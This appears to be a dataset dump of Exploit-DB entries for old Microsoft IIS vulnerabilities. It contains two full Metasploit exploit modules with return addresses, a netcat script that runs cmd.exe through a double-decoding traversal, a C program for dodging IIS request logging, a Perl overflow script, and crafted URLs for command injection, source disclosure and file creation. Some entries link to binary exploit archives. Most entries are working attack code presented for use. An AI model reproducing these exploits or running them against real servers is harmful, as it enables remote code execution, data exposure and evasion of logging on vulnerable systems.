deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16357
Description: Microsoft IIS - Phone Book Service Overflow (MS00-094) (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: ms00_094_pbserver.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS Phone Book Service Overflow',
			'Description'    => %q{
					This is an exploit for the Phone Book Service /pbserver/pbserver.dll
				described in MS00-094. By sending an overly long URL argument
				for phone book updates, it is possible to overwrite the stack. This
				module has only been tested against Windows 2000 SP1.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2000-1089' ],
					[ 'OSVDB', '463' ],
					[ 'BID', '2048' ],
					[ 'MSB', 'MS00-094' ],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 896,
					'BadChars' => "\x00\x0a\x0d\x20%&=?",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
					['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
					['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
				],
			'DisclosureDate' => 'Dec 04 2000',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URL', [ true,  "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
			], self.class)
	end

	def check
		print_status("Requesting the vulnerable ISAPI path...")
		res = send_request_raw({
			'uri' => datastore['URL']
		}, 5)

		if (res and res.code == 400)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit

		print_status("Sending overflow...")

		res = send_request_raw({
			'uri' => datastore['URL'] + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
		}, 5)

		handler

	end

end
Exploit-DB #20445
Description: Microsoft IIS 1.0 / Netscape Server 1.0/1.12 / OReilly WebSite Professional 1.1b - '.cmd' / '.CMD' Remote Command Execution
Type: remote
Platform: windows
Date: 1996-03-01
Author: anonymous

Exploit:
IIS 1.0,Netscape Commerce Server 1.0/Communications Server 1.12,OReilly Software WebSite Professional 1.1 b BAT/.CMD Remote Command Execution

source: https://www.securityfocus.com/bid/2023/info

Some web servers that allow batch files to be executed via CGI are vulnerable to an attack whereby an intruder can execute commands on the target machine. This can be accomplished by submitting the command to be executed as a variable preceded by the ampersand (&) symbol, eg. http://targethost/cgi-bin/batfile.bat?&hostile_command. This apparently causes the server to call the function: system("batfile.bat &hostile_command") which the command interpreter interprets as separate commands. Microsoft IIS 1.0 is vulnerable to this attack whether or not the .BAT file requested even exists. Successfully exploiting this vulnerability allows an attacker to execute commands on the target machine with the privileges of the web server. This vulnerability may also be exploited via . CMD files. 

A request similar to the following is used to exploit this:

http://targethost/cgi-bin/test.bat?&dir

Variations may be possible or necessary, depending on the specific web server and configuration.
Exploit-DB #20481
Description: Microsoft IIS 2.0/3.0 - Appended Dot Script Source Disclosure
Type: remote
Platform: windows
Date: 1997-02-20
Author: Mark Joseph Edwards

Exploit:
source: https://www.securityfocus.com/bid/2074/info

Microsoft Internet Information Server (IIS) is a popular web server, providing support for a variety of scripting languages, including ASP (active server pages). IIS 2.0 and 3.0 suffer from an issue allowing a remote user to retrieve the source code for any script (that has read permissions on the server) via a web browser. This is accomplished by appending a period (.) to the end of a URL requesting a specific script, and applies to any file types in the "script-map list", including .asp, .ht., .id, .PL, and others. Consequences of exploitation vary depending on the site design, but commonly include details of directory structure on the web server, database passwords, and various other pieces of information that could then be used to mount further attacks. A Microsoft hotfix for this issue was released, but has been found vulnerable to a variation whereby the period is replaced by %2e, the hexadecimal encoding for the same character. (BugTraq ID 1814). 

http://www.target.host/aspfile.asp.
http://www.target.host/scriptfile.ht.
http://www.target.host/scriptfile.id.
http://www.target.host/scriptfile.PL.
Exploit-DB #20096
Description: Microsoft IIS 2.0/3.0/4.0/5.0/5.1 - Internal IP Address Disclosure
Type: remote
Platform: windows
Date: 2000-07-13
Author: Dougal Campbell

Exploit:
source: https://www.securityfocus.com/bid/1499/info

When a remote user attempts to access an area protected by basic authentication with no realm defined, while specifying HTTP 1.0, Microsoft IIS will return an Access Denied error message containing the internal IP address of the host. Even if IIS is behind a firewall or NAT, it will disclose the true internal IP address to the remote user.

The internal IP address may also be revealed through a HTTP request made with an empty host name. If a PROPFIND HTTP request is made, the message returned will include the IP address as part of the HREF header. The IP address may also be exposed through the WRITE or MKCOL methods, although they would not normally be exposed to the external network.

Eg.

telnet target 80
Trying target...
Connected to target.
Escape character is '^]'.
HEAD /directory HTTP/1.0[CRLF]
[CRLF]

HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="<Internal IP Address>"
Content-Length: 644
Content-Type: text/html
Exploit-DB #20309
Description: Microsoft IIS 3.0 - 'newdsn.exe' File Creation
Type: remote
Platform: windows
Date: 1997-08-25
Author: Vytis Fedaravicius

Exploit:
source: https://www.securityfocus.com/bid/1818/info

Microsoft IIS 3.0 came with a sample program, newdsn.exe, installed by default in the directory wwwroot/scripts/tools/. Execution of this program with a properly submitted URL could allow for remote file creation. The file created is a Microsoft Access Database, but can have any extension, including .html.

http://vulnerable.site.comtools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB
Exploit-DB #19361
Description: Microsoft IIS 3.0/4.0 - Double Byte Code Page
Type: remote
Platform: windows
Date: 1999-06-24
Author: Microsoft

Exploit:
source: https://www.securityfocus.com/bid/477/info


This vulnerability could allow a web site viewer to obtain the source code for .asp and similar files if the server's default language (Input Locale) is set to Chinese, Japanese or Korean. How this works is as follows:

IIS checks the extension of the requested file to see if it needs to do any processing before delivering the information. If the requested extension is not on it's list, it then makes any language-based calculations, and delivers the file. If a single byte is appended to the end of the URL when IIS to set to use one of the double-byte language packs (Chinese, Japanese, or Korean) the language module will strip it as invalid, then look for the file. Since the new URL now points to a valid filename, and IIS has already determined that this transaction requires no processing, the file is simply delivered as is, exposing the source code. 

Request a URL of a known-good file that requires server processing, then append a hex value between x81 and xfe to the URL. For example: <http://myhost/main.asp%81>. If your server is vulnerable you will receive back the source code of your .asp file.
Exploit-DB #20590
Description: Microsoft IIS 3.0/4.0 - Upgrade BDIR.HTR
Type: remote
Platform: windows
Date: 1998-12-25
Author: rain forest puppy

Exploit:
source: https://www.securityfocus.com/bid/2280/info

Microsoft Internet Information Server (IIS) 3.0 came with a series of remote administration scripts installed in /scripts/iisadmin off the web root directory. ism.dll is required for processing these scripts, and version 3.0 of IIS came with an ism.dll containing an authentication scheme to prevent unauthorized access. If an IIS 3.0 installation is upgraded to IIS 4.0 without removing these scripts, they can be accessed remotely without authentication due to changes in the authentication methods used by IIS 4.0. One of these scripts, bdir.htr, still functions under the IIS 4.0 server - and can be used by a remote attacker to obtain information about the server's directory structure. The script displays a directory listing of a directory specified as part of a request - but only directory names are displayed. Although privilege elevation cannot be accomplished directly by exploiting this script, the information about the server's directory structure thus obtained could potentially be used in mounting further attacks.

This can be exploited by requesting the following from the web server:

http://victim/scripts/iisadmin/bdir.htr??<path>

eg.,

http://www.victim-host.xxx/scripts/iisadmin/bdir.htr??d:\webs
Exploit-DB #20839
Description: Microsoft IIS 3.0/4.0/5.0 - PWS Escaped Characters Decoding Command Execution (5)
Type: remote
Platform: windows
Date: 2001-05-15
Author: Leif Jakob

Exploit:
source: https://www.securityfocus.com/bid/2708/info
    
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
    
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
    
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
    
2. When the security check is completed, IIS decodes CGI parameters.
    
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
    
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
    
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
    
The worm Nimda(and variants) actively exploit this vulnerability.

#!/bin/sh

# Copyright 2001 by Leif Jakob <bugtraq@jakob.weite-welt.com>
#
# do not abuse this code... blah blah :)

if [ -z "$1" ] ; then
    echo "usage:"
    echo "$0 hostname"
    exit 1
fi

host="$1"

NETCAT=`which netcat`

if [ -z "$NETCAT" ] ; then
    NETCAT=`which nc`
fi

if [ -z "$NETCAT" -o ! -x "$NETCAT" ] ; then
    echo "you need netcat to make this work"
    exit 1
fi

echo "using netcat:$NETCAT"

function makeRequest
{
    host="$1"
    count=$2
    cmd="$3"
    echo -n 'GET /scripts/'
    while [ $count -gt 0 ] ; do
	echo -n '..%255c'
	count=$((count-1))
    done
    echo -n 'winnt/system32/cmd.exe?/c+'
    echo -n "$cmd"
    echo ' HTTP/1.0'
    echo "Host: $host"
    echo ''
    echo 'dummy'
}

function testHost
{
    host="$1"
    count=10 # you can't overdo it
    cmd='dir+c:\'
    makeRequest "$host" "$count" "$cmd" | netcat -w 4 $host 80
}

testHost "$host"
Exploit-DB #20840
Description: Microsoft IIS 3.0/4.0/5.0 - PWS Escaped Characters Decoding Command Execution (6)
Type: remote
Platform: windows
Date: 2001-05-15
Author: A.Ramos

Exploit:
source: https://www.securityfocus.com/bid/2708/info
     
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
     
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
     
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
     
2. When the security check is completed, IIS decodes CGI parameters.
     
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
     
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
     
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
     
The worm Nimda(and variants) actively exploit this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20840.tgz
Exploit-DB #20841
Description: Microsoft IIS 3.0/4.0/5.0 - PWS Escaped Characters Decoding Command Execution (7)
Type: remote
Platform: windows
Date: 2001-05-15
Author: Gary O'Leary-Steele

Exploit:
source: https://www.securityfocus.com/bid/2708/info
      
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
      
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
      
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
      
2. When the security check is completed, IIS decodes CGI parameters.
      
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
      
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
      
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
      
The worm Nimda(and variants) actively exploit this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20841.zip
Exploit-DB #20842
Description: Microsoft IIS 3.0/4.0/5.0 - PWS Escaped Characters Decoding Command Execution (8)
Type: remote
Platform: windows
Date: 2001-05-15
Author: Roelof

Exploit:
source: https://www.securityfocus.com/bid/2708/info
       
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
       
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
       
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
       
2. When the security check is completed, IIS decodes CGI parameters.
       
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
       
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
       
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
       
The worm Nimda(and variants) actively exploit this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20842.tgz
Exploit-DB #19149
Description: Microsoft IIS 4 (Windows NT) - Log Avoidance
Type: remote
Platform: windows
Date: 1999-01-22
Author: Mnemonix

Exploit:
// source: https://www.securityfocus.com/bid/191/info

An http get request against an IIS4 server will not be logged if the request is longer than 10150 bytes long. 

/* Compile with eg Visual C++ and link with wsock32.lib

#include <stdio.h>
#include <winsock2.h>
#include <string.h>


int main (int argc, char *argv[])
{
int snd, rcv, err, portno,a=0,b, res;
char resp[1024];
WORD wVersionRequested;
WSADATA wsaData;
struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;

if (argc !=2)
{
printf("Usage:\nc:\\>%s target_machine\n\nDavid Litchfield\n21st January
1999\n", argv[0]);
return 0;
}
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );

if ( err != 0 )
{
printf("No winsock.dll\n");
return 0;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{
printf("No winsock.dll - 2nd\n");
WSACleanup( );
return 0;
}

if ((he = gethostbyname(argv[1])) == NULL)
{
printf("Invalid Host\n");
return 0;
}




sock=socket(AF_INET,SOCK_STREAM,0);
if (sock==INVALID_SOCKET)
{
printf("Invalid Socket!\n");
return 0;
}
else
{
printf("");
}

sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;



bind(sock,(struct sockaddr *)&sa,sizeof(sa));



sa.sin_port=htons(80);

memcpy(&sa.sin_addr,he->h_addr,he->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
printf("Failed to connect!\n");
}
else
{

/* This loop creates the REQUEST_METHOD and makes it 10140 bytes long

while (a < 10141)
{
snd=send(sock,"A", 1, 0);
a ++;
}
snd=send(sock," /default.asp HTTP/1.0\n\n",43,0);
rcv=recv(sock,resp,256,0);
printf("\n%s",resp);
rcv=recv(sock,resp,1024,0);
printf("\n%s\n\n",resp);

}


closesocket(sock);

return 0;
}
Exploit-DB #19147
Description: Microsoft IIS 4 (Windows NT) - Remote Web-Based Administration
Type: remote
Platform: windows
Date: 1999-01-14
Author: Mnemonix

Exploit:
source: https://www.securityfocus.com/bid/189/info

Web-based administration for IIS 4.0 is, by default, limited to the local loopback address, 127.0.0.1. In instances where IIS4.0 was installed as an upgrade to IIS 2.0 or 3.0, a legacy ISAPI DLL (ISM.DLL) is left in the /scripts/iisadmin directory. An attacker may call this DLL via the following syntax:

http://www.server.com/scripts/iisadmin/ism.dll?http/dir

This URL prompts the user for a username/password to access the remote administration console. Although approved access does not permit the user to commit changes to the IIS server, it may allow them to gather sensitive information about the web server and its configuration.
Exploit-DB #16468
Description: Microsoft IIS 4.0 - '.htr' Path Overflow (MS02-018) (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: ms02_018_htr.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS 4.0 .HTR Path Overflow',
			'Description'    => %q{
					This exploits a buffer overflow in the ISAPI ISM.DLL used to
				process HTR scripting in IIS 4.0. This module works against
				Windows NT 4 Service Packs  3, 4, and 5. The server will
				continue to process requests until the payload being
				executed has exited. If you've set EXITFUNC to 'seh', the
				server will continue processing requests, but you will have
				trouble terminating a bind shell. If you set EXITFUNC to
				thread, the server will crash upon exit of the bind shell.
				The payload is alpha-numerically encoded without a NOP sled
				because otherwise the data gets mangled by the filters.
			},
			'Author'         => [ 'stinko' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '1999-0874'],
					[ 'OSVDB', '3325'],
					[ 'BID', '307'],
					[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
					[ 'MSB', 'MS02-018'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 2048,
					'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
					['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
					['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
				],
			'DisclosureDate' => 'Apr 10 2002',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80)
			], self.class)
	end

	def exploit
		connect

		buf = 'X' * target['Rets'][0]
		buf << [ target['Rets'][1] ].pack('V')
		buf << payload.encoded

		req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
		print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
		sock.put(req)
		handler
		disconnect
	end

end
Exploit-DB #19245
Description: Microsoft IIS 4.0 - Remote Buffer Overflow (1)
Type: remote
Platform: windows
Date: 1999-06-15
Author: eEye Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/307/info

Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine.

IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions.


Use the following script to test your site:

#!/usr/bin/perl
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19245.exe